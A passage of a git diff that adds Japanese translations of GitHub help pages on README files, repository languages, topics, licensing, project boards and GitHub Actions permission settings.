+README ファイルをリポジトリのルート、`docs`、または隠れディレクトリ `.github` に置けば、{% data variables.product.product_name %} はそれを認識して自動的に README をリポジトリへの訪問者に提示します。
+
+![github/scientistリポジトリのメインページとそのREADMEファイル](/assets/images/help/repository/repo-with-readme.png)
 
 {% ifversion fpt or ghes or ghec %}
 
@@ -38,7 +39,7 @@ If you put your README file in your repository's root, `docs`, or hidden `.githu
 
 {% endif %}
 
-![README file on your username/username repository](/assets/images/help/repository/username-repo-with-readme.png)
+![ユーザ名/ユーザ名リポジトリの README ファイル](/assets/images/help/repository/username-repo-with-readme.png)
 
 {% ifversion fpt or ghae or ghes > 3.1 or ghec %}
 
@@ -50,19 +51,19 @@ For the rendered view of any Markdown file in a repository, including README fil
 
 {% endif %}
 
-## Section links in README files and blob pages
+## READMEファイルのセクションリンクとblobページ
 
 {% data reusables.repositories.section-links %}
 
-## Relative links and image paths in README files
+## READMEファイル中の相対リンクと画像パス
 
 {% data reusables.repositories.relative-links %}
 
-## Wikis
+## Wiki
 
-A README should contain only the necessary information for developers to get started using and contributing to your project. Longer documentation is best suited for wikis. For more information, see "[About wikis](/communities/documenting-your-project-with-wikis/about-wikis)."
+A README should contain only the necessary information for developers to get started using and contributing to your project. Longer documentation is best suited for wikis. 詳細は「[ウィキについて](/communities/documenting-your-project-with-wikis/about-wikis)」を参照してください。
 
-## Further reading
+## 参考リンク
 
-- "[Adding a file to a repository](/articles/adding-a-file-to-a-repository)"
-- 18F's "[Making READMEs readable](https://github.com/18F/open-source-guide/blob/18f-pages/pages/making-readmes-readable.md)"
+- [リポジトリへのファイルの追加](/articles/adding-a-file-to-a-repository)
+- 18Fの[Making READMEs readable](https://github.com/18F/open-source-guide/blob/18f-pages/pages/making-readmes-readable.md)
diff --git a/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-repository-languages.md b/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-repository-languages.md
index be5c459c90..863bc38a40 100644
--- a/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-repository-languages.md
+++ b/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-repository-languages.md
@@ -1,6 +1,6 @@
 ---
-title: About repository languages
-intro: The files and directories within a repository determine the languages that make up the repository. You can view a repository's languages to get a quick overview of the repository.
+title: リポジトリの言語について
+intro: リポジトリ内のファイルやディレクトリが、リポジトリを構成する言語を決定します。 リポジトリの言語を見れば、そのリポジトリの簡単な概要が得られます。
 redirect_from:
   - /articles/my-repository-is-marked-as-the-wrong-language
   - /articles/why-isn-t-my-favorite-language-recognized
@@ -19,11 +19,12 @@ topics:
   - Repositories
 shortTitle: Repository languages
 ---
-{% data variables.product.product_name %} uses the open source [Linguist library](https://github.com/github/linguist) to
-determine file languages for syntax highlighting and repository statistics. Language statistics will update after you push changes to your default branch.
 
-Some files are hard to identify, and sometimes projects contain more library and vendor files than their primary code. If you're receiving incorrect results, please consult the Linguist [troubleshooting guide](https://github.com/github/linguist/blob/master/docs/troubleshooting.md) for help.
+{% data variables.product.product_name %} は、オープンソースの [Linguist ライブラリ](https://github.com/github/linguist)を使用して、
+構文の強調表示とリポジトリ統計のファイル言語を決定します。 デフォルトブランチに変更をプッシュすると、言語統計が更新されます。
 
-## Markup languages
+ファイルによっては特定しにくいものもあります。また、プロジェクトによっては、主たるコード以外のライブラリやベンダーファイルが含まれていることもあります。 誤った結果が返される場合は、Linguist の [トラブルシューティングガイド](https://github.com/github/linguist/blob/master/docs/troubleshooting.md)を調べてみてください。
 
-Markup languages are rendered to HTML and displayed inline using our open-source [Markup library](https://github.com/github/markup). At this time, we are not accepting new markup languages to show within {% data variables.product.product_name %}. However, we do actively maintain our current markup languages. If you see a problem, [please create an issue](https://github.com/github/markup/issues/new).
+## マークアップ言語
+
+マークアップ言語は HTML にレンダリングされ、弊社のオープンソース[マークアップライブラリ](https://github.com/github/markup)を使ってインラインで表示されます。 現時点では、{% data variables.product.product_name %}内で表示する新しいマークアップ言語は受け付けていません。 しかし、弊社は現在のマークアップ言語群を積極的にメンテナンスしています。 もしも問題があれば、[Issue を作成してください](https://github.com/github/markup/issues/new)。
diff --git a/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics.md b/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics.md
index 48c0c4d4bf..8dc09789a6 100644
--- a/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics.md
+++ b/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics.md
@@ -1,6 +1,6 @@
 ---
-title: Classifying your repository with topics
-intro: 'To help other people find and contribute to your project, you can add topics to your repository related to your project''s intended purpose, subject area, affinity groups, or other important qualities.'
+title: トピックでリポジトリを分類する
+intro: あなたのプロジェクトを他の人が見つけて貢献しやすくするために、プロジェクトの目的、分野、主催グループなどの、リポジトリに関するトピックを追加できます。
 redirect_from:
   - /articles/about-topics
   - /articles/classifying-your-repository-with-topics
@@ -15,28 +15,26 @@ topics:
   - Repositories
 shortTitle: Classify with topics
 ---
-## About topics
 
-With topics, you can explore repositories in a particular subject area, find projects to contribute to, and discover new solutions to a specific problem. Topics appear on the main page of a repository. You can click a topic name to {% ifversion fpt or ghec %}see related topics and a list of other repositories classified with that topic{% else %}search for other repositories with that topic{% endif %}.
+## Topics について
 
-![Main page of the test repository showing topics](/assets/images/help/repository/os-repo-with-topics.png)
+Topics を利用すれば、特定の領域に関するリポジトリを調べたり、コントリビュートするプロジェクトを見つけたり、特定の問題に対する新たなソリューションを見つけ出すことができます。 Topics は、リポジトリのメインページに表示されます。 Topics 名をクリックして、{% ifversion fpt or ghec %}関連する Topics や、その Topics に分類される他のリポジトリのリストを見たりすることができます。{% else %}そのトピックの他のリポジトリを検索することができます。{% endif %}
 
-To browse the most used topics, go to https://github.com/topics/.
+![Topics を表示しているテストリポジトリのメインページ](/assets/images/help/repository/os-repo-with-topics.png)
 
-{% ifversion fpt or ghec %}You can contribute to {% data variables.product.product_name %}'s set of featured topics in the [github/explore](https://github.com/github/explore) repository. {% endif %}
+最も利用されているトピックをブラウズするには https://github.com/topics/ にアクセスしてください。
 
-Repository admins can add any topics they'd like to a repository. Helpful topics to classify a repository include the repository's intended purpose, subject area, community, or language.{% ifversion fpt or ghec %} Additionally, {% data variables.product.product_name %} analyzes public repository content and generates suggested topics that repository admins can accept or reject. Private repository content is not analyzed and does not receive topic suggestions.{% endif %}
+{% ifversion fpt or ghec %}[github/explore](https://github.com/github/explore) リポジトリにある {% data variables.product.product_name %}の注目の Topics 集にコントリビュートできます。 {% endif %}
+
+リポジトリの管理者は、リポジトリに好きなトピックを追加できます。 リポジトリを分類するのに役立つトピックには、そのリポジトリの意図する目的、主題の領域、コミュニティ、言語などがあります。{% ifversion fpt or ghec %}加えて、{% data variables.product.product_name %}はパブリックなリポジトリの内容を分析し、推奨されるトピックを生成します。リポジトリの管理者は、これを受諾することも拒否することもできます。 プライベートリポジトリの内容は分析されず、Topics が推奨されることはありません。{% endif %}
 
 {% ifversion fpt %}Public and private{% elsif ghec or ghes %}Public, private, and internal{% elsif ghae %}Private and internal{% endif %} repositories can have topics, although you will only see private repositories that you have access to in topic search results.
 
-You can search for repositories that are associated with a particular topic. For more information, see "[Searching for repositories](/search-github/searching-on-github/searching-for-repositories#search-by-topic)." You can also search for a list of topics on {% data variables.product.product_name %}. For more information, see "[Searching topics](/search-github/searching-on-github/searching-topics)."
+特定のトピックに関連付けられているリポジトリを検索できます。 詳しい情報については[リポジトリの検索](/search-github/searching-on-github/searching-for-repositories#search-by-topic)を参照してください。 また、{% data variables.product.product_name %} 上でトピックのリストを検索することもできます。 詳細は「[トピックを検索する](/search-github/searching-on-github/searching-topics)」を参照してください。
 
-## Adding topics to your repository
+## Topics をリポジトリに追加する
 
 {% data reusables.repositories.navigate-to-repo %}
-2. To the right of "About", click {% octicon "gear" aria-label="The Gear icon" %}.
-  ![Gear icon on main page of a repository](/assets/images/help/repository/edit-repository-details-gear.png)
-3. Under "Topics", type the topic you want to add to your repository, then type a space.
-  ![Form to enter topics](/assets/images/help/repository/add-topic-form.png)
-4. After you've finished adding topics, click **Save changes**.
-  !["Save changes" button in "Edit repository details"](/assets/images/help/repository/edit-repository-details-save-changes-button.png)
+2. [About] の右にある {% octicon "gear" aria-label="The Gear icon" %} をクリックします。 ![リポジトリのメイン ページにある歯車アイコン](/assets/images/help/repository/edit-repository-details-gear.png)
+3. [Topics] で、リポジトリに追加するトピックを入力してから、スペースを入力します。 ![トピックの入力フォーム](/assets/images/help/repository/add-topic-form.png)
+4. トピックの追加が完了したら、[**Save changes**] をクリックします。 ![[Save changes] の [Edit repository details] ボタン](/assets/images/help/repository/edit-repository-details-save-changes-button.png)
diff --git a/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository.md b/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository.md
index 3ac3c54bdd..67d8be34e4 100644
--- a/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository.md
+++ b/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Licensing a repository
-intro: 'Public repositories on GitHub are often used to share open source software. For your repository to truly be open source, you''ll need to license it so that others are free to use, change, and distribute the software.'
+title: リポジトリのライセンス
+intro: GitHub のパブリックリポジトリは、オープンソース ソフトウェアの共有にも頻繁に利用されています。 リポジトリを真にオープンソースにしたければ、他のユーザが自由にそのソフトウェアを使用でき、変更や配布もできるように、ライセンスを付与する必要があります。
 redirect_from:
   - /articles/open-source-licensing
   - /articles/licensing-a-repository
@@ -13,86 +13,86 @@ versions:
 topics:
   - Repositories
 ---
-## Choosing the right license
+  ## 適切なライセンスを選択する
 
-We created [choosealicense.com](https://choosealicense.com), to help you understand how to license your code. A software license tells others what they can and can't do with your source code, so it's important to make an informed decision.
+コードのライセンスについて理解しやすいように、[choosealicense.com](https://choosealicense.com) のページを用意しました。 ソフトウェアのライセンスは、ソースコードに対して許可されることとされないことを規定するものなので、十分な情報に基づいて決定することが重要です。
 
-You're under no obligation to choose a license. However, without a license, the default copyright laws apply, meaning that you retain all rights to your source code and no one may reproduce, distribute, or create derivative works from your work. If you're creating an open source project, we strongly encourage you to include an open source license. The [Open Source Guide](https://opensource.guide/legal/#which-open-source-license-is-appropriate-for-my-project) provides additional guidance on choosing the correct license for your project.
+ライセンスの選択は義務ではありませんが、 ライセンスがない場合はデフォルトの著作権法が適用されます。つまり、ソースコードについては作者があらゆる権利を留保し、ソースコードの複製、配布、派生物の作成は誰にも許可されないということです。 オープンソースのプロジェクトを作成する場合は、オープンソース ライセンスを設定することを強くおすすめします。 プロジェクトに適したライセンスの選択に関する詳細な手引きは、[オープンソース ガイド](https://opensource.guide/legal/#which-open-source-license-is-appropriate-for-my-project)に記載されています。
 
 {% note %}
 
-**Note:** If you publish your source code in a public repository on {% data variables.product.product_name %}, {% ifversion fpt or ghec %}according to the [Terms of Service](/free-pro-team@latest/github/site-policy/github-terms-of-service), {% endif %}other users of {% data variables.product.product_location %} have the right to view and fork your repository. If you have already created a repository and no longer want users to have access to the repository, you can make the repository private. When you change the visibility of a repository to private, existing forks or local copies created by other users will still exist. For more information, see "[Setting repository visibility](/github/administering-a-repository/setting-repository-visibility)."
+**Note:** If you publish your source code in a public repository on {% data variables.product.product_name %}, {% ifversion fpt or ghec %}according to the [Terms of Service](/free-pro-team@latest/github/site-policy/github-terms-of-service), {% endif %}other users of {% data variables.product.product_location %} have the right to view and fork your repository. すでにリポジトリを作成していて、ユーザによるリポジトリへのアクセスを禁止する場合は、リポジトリをプライベートにすることができます。 リポジトリの表示をプライベートに変更しても、他のユーザによって作成された既存のフォークまたはローカルコピーは存続します。 詳細は「[リポジトリの可視性を設定する](/github/administering-a-repository/setting-repository-visibility)」を参照してください。
 
 {% endnote %}
 
-## Determining the location of your license
+## ライセンスの置かれている場所を確認する
 
-Most people place their license text in a file named `LICENSE.txt` (or `LICENSE.md` or `LICENSE.rst`) in the root of the repository; [here's an example from Hubot](https://github.com/github/hubot/blob/master/LICENSE.md).
+多くの場合、ライセンステキストはリポジトリのルートにある `LICENSE.txt` (または `LICENSE.md` か `LICENSE.rst`) というファイルに書かれています。 [Hubot の例をこちらに示します](https://github.com/github/hubot/blob/master/LICENSE.md)
 
-Some projects include information about their license in their README. For example, a project's README may include a note saying "This project is licensed under the terms of the MIT license."
+プロジェクトによっては、ライセンスに関する情報は README に記載されています。 たとえばプロジェクトの README には、「当ライセンスは MIT ライセンスの規約に基づいて付与されています」などの文言が書かれていることがあります。
 
-As a best practice, we encourage you to include the license file with your project.
+ベスト プラクティスとして、プロジェクトにはライセンス ファイルを含めることをお勧めします。
 
-## Searching GitHub by license type
+## ライセンス別に GitHub を検索する
 
-You can filter repositories based on their license or license family using the `license` qualifier and the exact license keyword:
+`license` 修飾子と、正確なライセンス キーワードを使用すると、ライセンスまたはライセンス ファミリーに基づいてリポジトリをフィルタリングできます。
 
-License | License keyword
----  | ---
-| Academic Free License v3.0 | `afl-3.0` |
-| Apache license 2.0 | `apache-2.0` |
-| Artistic license 2.0 | `artistic-2.0` |
-| Boost Software License 1.0 | `bsl-1.0` |
-| BSD 2-clause "Simplified" license | `bsd-2-clause` |
-| BSD 3-clause "New" or "Revised" license | `bsd-3-clause` |
-| BSD 3-clause Clear license | `bsd-3-clause-clear` |
-| Creative Commons license family | `cc` |
-| Creative Commons Zero v1.0 Universal | `cc0-1.0` |
-| Creative Commons Attribution 4.0 | `cc-by-4.0` |
-| Creative Commons Attribution Share Alike 4.0 | `cc-by-sa-4.0` |
-| Do What The F*ck You Want To Public License | `wtfpl` |
-| Educational Community License v2.0 | `ecl-2.0` |
-| Eclipse Public License 1.0 | `epl-1.0` |
-| Eclipse Public License 2.0 | `epl-2.0` |
-| European Union Public License 1.1 | `eupl-1.1` |
-| GNU Affero General Public License v3.0 | `agpl-3.0` |
-| GNU General Public License family | `gpl` |
-| GNU General Public License v2.0 | `gpl-2.0` |
-| GNU General Public License v3.0 | `gpl-3.0` |
-| GNU Lesser General Public License family | `lgpl` |
-| GNU Lesser General Public License v2.1 | `lgpl-2.1` |
-| GNU Lesser General Public License v3.0 | `lgpl-3.0` |
-| ISC | `isc` |
-| LaTeX Project Public License v1.3c | `lppl-1.3c` |
-| Microsoft Public License | `ms-pl` |
-| MIT | `mit` |
-| Mozilla Public License 2.0 | `mpl-2.0` |
-| Open Software License 3.0 | `osl-3.0` |
-| PostgreSQL License | `postgresql` |
-| SIL Open Font License 1.1 | `ofl-1.1` |
-| University of Illinois/NCSA Open Source License | `ncsa` |
-| The Unlicense | `unlicense` |
-| zLib License | `zlib` |
+| ライセンス | ライセンス キーワード                                                   |
+| ----- | ------------------------------------------------------------- |
+|       | Academic Free License v3.0 | `afl-3.0`                        |
+|       | Apache ライセンス 2.0 | `apache-2.0`                               |
+|       | Artistic ライセンス 2.0 | `artistic-2.0`                           |
+|       | Boost Software License 1.0 | `bsl-1.0`                        |
+|       | BSD 2-Clause "Simplified" ライセンス | `bsd-2-clause`              |
+|       | BSD 3-Clause "New" または "Revised" ライセンス | `bsd-3-clause`       |
+|       | BSD 3-Clause Clear ライセンス | `bsd-3-clause-clear`               |
+|       | Creative Commons ライセンス ファミリー | `cc`                           |
+|       | Creative Commons Zero v1.0 Universal | `cc0-1.0`              |
+|       | Creative Commons Attribution 4.0 | `cc-by-4.0`                |
+|       | Creative Commons Attribution Share Alike 4.0 | `cc-by-sa-4.0` |
+|       | Do What The F*ck You Want To Public License | `wtfpl`         |
+|       | Educational Community License v2.0 | `ecl-2.0`                |
+|       | Eclipse Public License 1.0 | `epl-1.0`                        |
+|       | Eclipse Public License 2.0 | `epl-2.0`                        |
+|       | European Union Public License 1.1 | `eupl-1.1`                |
+|       | GNU Affero General Public License v3.0 | `agpl-3.0`           |
+|       | GNU General Public License ファミリー | `gpl`                      |
+|       | GNU General Public License v2.0 | `gpl-2.0`                   |
+|       | GNU General Public License v3.0 | `gpl-3.0`                   |
+|       | GNU Lesser General Public License ファミリー | `lgpl`              |
+|       | GNU Lesser General Public License v2.1 | `lgpl-2.1`           |
+|       | GNU Lesser General Public License v3.0 | `lgpl-3.0`           |
+|       | ISC | `isc`                                                   |
+|       | LaTeX Project Public License v1.3c | `lppl-1.3c`              |
+|       | Microsoft Public License | `ms-pl`                            |
+|       | MIT | `mit`                                                   |
+|       | Mozilla Public License 2.0 | `mpl-2.0`                        |
+|       | Open Software License 3.0 | `osl-3.0`                         |
+|       | PostgreSQL License | `postgresql`                             |
+|       | SIL Open Font License 1.1 | `ofl-1.1`                         |
+|       | University of Illinois/NCSA Open Source License | `ncsa`      |
+|       | The Unlicense | `unlicense`                                   |
+|       | zLib License | `zlib`                                         |
 
-When you search by a family license, your results will include all licenses in that family. For example, when you use the query `license:gpl`, your results will include repositories licensed under GNU General Public License v2.0 and GNU General Public License v3.0. For more information, see "[Searching for repositories](/search-github/searching-on-github/searching-for-repositories/#search-by-license)."
+ファミリー ライセンス別で検索すると、結果にはそのファミリーのライセンスがすべて含まれます。 たとえば、`license:gpl` というクエリを実行した結果には、GNU General Public License v2.0 と GNU General Public License v3.0 でライセンスされているリポジトリが含まれます。 詳しい情報については[リポジトリの検索](/search-github/searching-on-github/searching-for-repositories/#search-by-license)を参照してください。
 
-## Detecting a license
+## ライセンスを見つけてもらう
 
-[The open source Ruby gem Licensee](https://github.com/licensee/licensee) compares the repository's *LICENSE* file to a short list of known licenses. Licensee also provides the [Licenses API](/rest/reference/licenses) and [gives us insight into how repositories on {% data variables.product.product_name %} are licensed](https://github.com/blog/1964-open-source-license-usage-on-github-com). If your repository is using a license that isn't listed on the [Choose a License website](https://choosealicense.com/appendix/), you can [request including the license](https://github.com/github/choosealicense.com/blob/gh-pages/CONTRIBUTING.md#adding-a-license).
+[オープンソースの Ruby Gem Licensee](https://github.com/licensee/licensee) は、リポジトリの *LICENSE* ファイルを、既知のライセンスの候補リストと比較します。 Licensee には [ライセンス API](/rest/reference/licenses) も用意されており、 {% data variables.product.product_name %} のリポジトリがどのようにライセンスされているかを[深く理解できます](https://github.com/blog/1964-open-source-license-usage-on-github-com)。 自分のリポジトリで使用しているライセンスが、[ライセンス選択のウェブサイト](https://choosealicense.com/appendix/)にリストされていない場合は、[ライセンスの追加をリクエストする](https://github.com/github/choosealicense.com/blob/gh-pages/CONTRIBUTING.md#adding-a-license)ことができます。
 
-If your repository is using a license that is listed on the Choose a License website and it's not displaying clearly at the top of the repository page, it may contain multiple licenses or other complexity. To have your license detected, simplify your *LICENSE* file and note the complexity somewhere else, such as your repository's *README* file.
+自分のリポジトリで使用しているライセンスが、ライセンス選択のウェブサイトにはリストされていて、リポジトリ ページのトップに明示的に表示されていない場合には、複数のライセンスが含まれるなど、複雑な状況が考えられます。 ライセンスを見つけてもらうために、*LICENSE* ファイルは単純にし、リポジトリの *README* ファイルなど、どこかでその複雑さに言及してください。
 
-## Applying a license to a repository with an existing license
+## 既存のライセンスでリポジトリにライセンスを適用する
 
-The license picker is only available when you create a new project on GitHub. You can manually add a license using the browser. For more information on adding a license to a repository, see "[Adding a license to a repository](/articles/adding-a-license-to-a-repository)."
+ライセンスを選択できるのは、GitHub で新しいプロジェクトを作成するときだけです。 ブラウザを使って、手動でライセンスを追加できます。 リポジトリへのライセンスの追加についての詳しい情報は、「[リポジトリにライセンスを追加する](/articles/adding-a-license-to-a-repository)」を参照してください。
 
-![Screenshot of license picker on GitHub.com](/assets/images/help/repository/repository-license-picker.png)
+![GitHub.com でのライセンス選択のスクリーンショット](/assets/images/help/repository/repository-license-picker.png)
 
-## Disclaimer
+## 免責事項
 
-The goal of GitHub's open source licensing efforts is to provide a starting point to help you make an informed choice. GitHub displays license information to help users get information about open source licenses and the projects that use them. We hope it helps, but please keep in mind that we’re not lawyers and that we make mistakes like everyone else. For that reason, GitHub provides the information on an "as-is" basis and makes no warranties regarding any information or licenses provided on or through it, and disclaims liability for damages resulting from using the license information. If you have any questions regarding the right license for your code or any other legal issues relating to it, it’s always best to consult with a professional.
+GitHub がオープンソース ライセンスへの取り組みで目指しているのは、ユーザが十分な情報に基づいて選択できるように基盤を作ることです。 GitHub は、オープンソース ライセンスとそれを使用しているプロジェクトについての情報をユーザが取得できるように、ライセンス情報を掲載しています。 その情報がお役に立つことを願っていますが、GitHub は法律の専門家ではなく、誤りがないとは言えません。 For that reason, GitHub provides the information on an "as-is" basis and makes no warranties regarding any information or licenses provided on or through it, and disclaims liability for damages resulting from using the license information. コードに適したライセンスや、ライセンスに関する他の法的な問題について不明な点がある場合は、必ず専門家にご相談ください。
 
-## Further reading
+## 参考リンク
 
-- The Open Source Guides' section "[The Legal Side of Open Source](https://opensource.guide/legal/)"{% ifversion fpt or ghec %}
+- オープンソース ガイドの「[オープンソースの法的な側面](https://opensource.guide/legal/)」セクションをお読みください。{% ifversion fpt or ghec %}
 - [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}){% endif %}
diff --git a/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/disabling-project-boards-in-a-repository.md b/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/disabling-project-boards-in-a-repository.md
index 8c66c8d326..2e52240c1c 100644
--- a/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/disabling-project-boards-in-a-repository.md
+++ b/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/disabling-project-boards-in-a-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Disabling project boards in a repository
-intro: Repository administrators can turn off project boards for a repository if you or your team manages work differently.
+title: リポジトリ内のプロジェクトボードを無効化する
+intro: 自分や自分のチームが異なる方法で作業管理をしている場合、リポジトリの管理者はリポジトリのプロジェクトボードをオフにできます。
 redirect_from:
   - /github/managing-your-work-on-github/managing-project-boards/disabling-project-boards-in-a-repository
   - /articles/disabling-project-boards-in-a-repository
@@ -13,13 +13,13 @@ versions:
   ghec: '*'
 topics:
   - Pull requests
-shortTitle: Disable project boards
+shortTitle: プロジェクトボードの無効化
 ---
-When you disable project boards, you will no longer see project board information in timelines or [audit logs](/articles/reviewing-your-security-log/).
+
+プロジェクトボードを無効化すると、タイムラインや[監査ログ](/articles/reviewing-your-security-log/)でプロジェクトボード情報を見ることができなくなります。
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
-3. Under "Features," unselect the **Projects** checkbox.
-  ![Remove Projects checkbox](/assets/images/help/projects/disable-projects-checkbox.png)
+3. [Features] の下で、[**Projects**] チェックボックスの選択を解除します。 ![[Projects] チェックボックスの選択を解除する](/assets/images/help/projects/disable-projects-checkbox.png)
 
-After project boards are disabled, existing project boards are inaccessible at their previous URLs. {% data reusables.organizations.disable_project_board_results %}
+プロジェクトボードが無効化されると、既存のプロジェクトボードはそれまでの URL でアクセスできなくなります。 {% data reusables.organizations.disable_project_board_results %}
diff --git a/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md b/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md
index 90bd18f498..f3308a7872 100644
--- a/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md
+++ b/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md
@@ -22,50 +22,49 @@ shortTitle: Manage GitHub Actions settings
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About {% data variables.product.prodname_actions %} permissions for your repository
+## リポジトリの {% data variables.product.prodname_actions %} 権限について
 
-{% data reusables.github-actions.disabling-github-actions %} For more information about {% data variables.product.prodname_actions %}, see "[About {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/about-github-actions)."
+{% data reusables.github-actions.disabling-github-actions %} {% data variables.product.prodname_actions %} の詳細は、「[{% data variables.product.prodname_actions %}について](/actions/getting-started-with-github-actions/about-github-actions)」を参照してください。
 
-You can enable {% data variables.product.prodname_actions %} for your repository. {% data reusables.github-actions.enabled-actions-description %} You can disable {% data variables.product.prodname_actions %} for your repository altogether. {% data reusables.github-actions.disabled-actions-description %}
+リポジトリで {% data variables.product.prodname_actions %} を有効化できます。 {% data reusables.github-actions.enabled-actions-description %} リポジトリの {% data variables.product.prodname_actions %} を完全に無効化することができます。 {% data reusables.github-actions.disabled-actions-description %}
 
-Alternatively, you can enable {% data variables.product.prodname_actions %} in your repository but limit the actions a workflow can run. {% data reusables.github-actions.enabled-local-github-actions %}
+または、リポジトリで {% data variables.product.prodname_actions %} を有効化して、ワークフローで実行できるアクションを制限することもできます。 {% data reusables.github-actions.enabled-local-github-actions %}
 
-## Managing {% data variables.product.prodname_actions %} permissions for your repository
+## リポジトリの {% data variables.product.prodname_actions %} 権限を管理する
 
-You can disable all workflows for a repository or set a policy that configures which actions can be used in a repository.
+リポジトリに対するワークフローをすべて無効にすることも、リポジトリでどのアクションを使用できるかを設定するポリシーを設定することもできます。
 
 {% data reusables.actions.actions-use-policy-settings %}
 
 {% note %}
 
-**Note:** You might not be able to manage these settings if your organization has an overriding policy or is managed by an enterprise that has overriding policy. For more information, see "[Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization)" or "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise)."
+**注釈:** Organization に優先ポリシーがあるか、優先ポリシーのある Enterprise アカウントによって管理されている場合、これらの設定を管理できない場合があります。 For more information, see "[Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization)" or "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise)."
 
 {% endnote %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.settings-sidebar-actions %}
-1. Under **Actions permissions**, select an option.
-  ![Set actions policy for this organization](/assets/images/help/repository/actions-policy.png)
-1. Click **Save**.
+1. [**Actions permissions**] で、オプションを選択します。 ![この Organization に対するアクションポリシーを設定する](/assets/images/help/repository/actions-policy.png)
+1. [**Save**] をクリックします。
 
-## Allowing specific actions to run
+## 特定のアクションの実行を許可する
 
 {% data reusables.actions.allow-specific-actions-intro %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.settings-sidebar-actions %}
-1. Under **Actions permissions**, select **Allow select actions** and add your required actions to the list.
+1. [**Actions permissions**] で [**Allow select actions**] を選択し、必要なアクションをリストに追加します。
    {%- ifversion ghes > 3.0 %}
-   ![Add actions to allow list](/assets/images/help/repository/actions-policy-allow-list.png)
+   ![許可リストにアクションを追加する](/assets/images/help/repository/actions-policy-allow-list.png)
    {%- else %}
-   ![Add actions to allow list](/assets/images/enterprise/github-ae/repository/actions-policy-allow-list.png)
+   ![許可リストにアクションを追加する](/assets/images/enterprise/github-ae/repository/actions-policy-allow-list.png)
    {%- endif %}
-2. Click **Save**.
+2. [**Save**] をクリックします。
 
 {% ifversion fpt or ghec %}
-## Configuring required approval for workflows from public forks
+## パブリックフォークからのワークフローに対する必須の承認の設定
 
 {% data reusables.actions.workflow-run-approve-public-fork %}
 
@@ -79,11 +78,11 @@ You can configure this behavior for a repository using the procedure below. Modi
 {% data reusables.actions.workflow-run-approve-link %}
 {% endif %}
 
-## Enabling workflows for private repository forks
+## プライベートリポジトリのフォークのワークフローを有効にする
 
 {% data reusables.github-actions.private-repository-forks-overview %}
 
-### Configuring the private fork policy for a repository
+### リポジトリのプライベートフォークポリシーを設定する
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
@@ -99,14 +98,13 @@ The default permissions can also be configured in the organization settings. If
 
 {% data reusables.github-actions.workflow-permissions-modifying %}
 
-### Configuring the default `GITHUB_TOKEN` permissions
+### デフォルトの`GITHUB_TOKEN`権限の設定
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.settings-sidebar-actions %}
-1. Under **Workflow permissions**, choose whether you want the `GITHUB_TOKEN` to have read and write access for all scopes, or just read access for the `contents` scope.
-  ![Set GITHUB_TOKEN permissions for this repository](/assets/images/help/settings/actions-workflow-permissions-repository.png)
-1. Click **Save** to apply the settings.
+1. [**Workflow permissions**]の下で、`GITHUB_TOKEN`にすべてのスコープに対する読み書きアクセスを持たせたいか、あるいは`contents`スコープに対する読み取りアクセスだけを持たせたいかを選択してください。 ![Set GITHUB_TOKEN permissions for this repository](/assets/images/help/settings/actions-workflow-permissions-repository.png)
+1. **Save（保存）**をクリックして、設定を適用してください。
 {% endif %}
 
 {% ifversion ghes > 3.3 or ghae-issue-4757 or ghec %}
@@ -119,23 +117,22 @@ To configure whether workflows in an internal repository can be accessed from ou
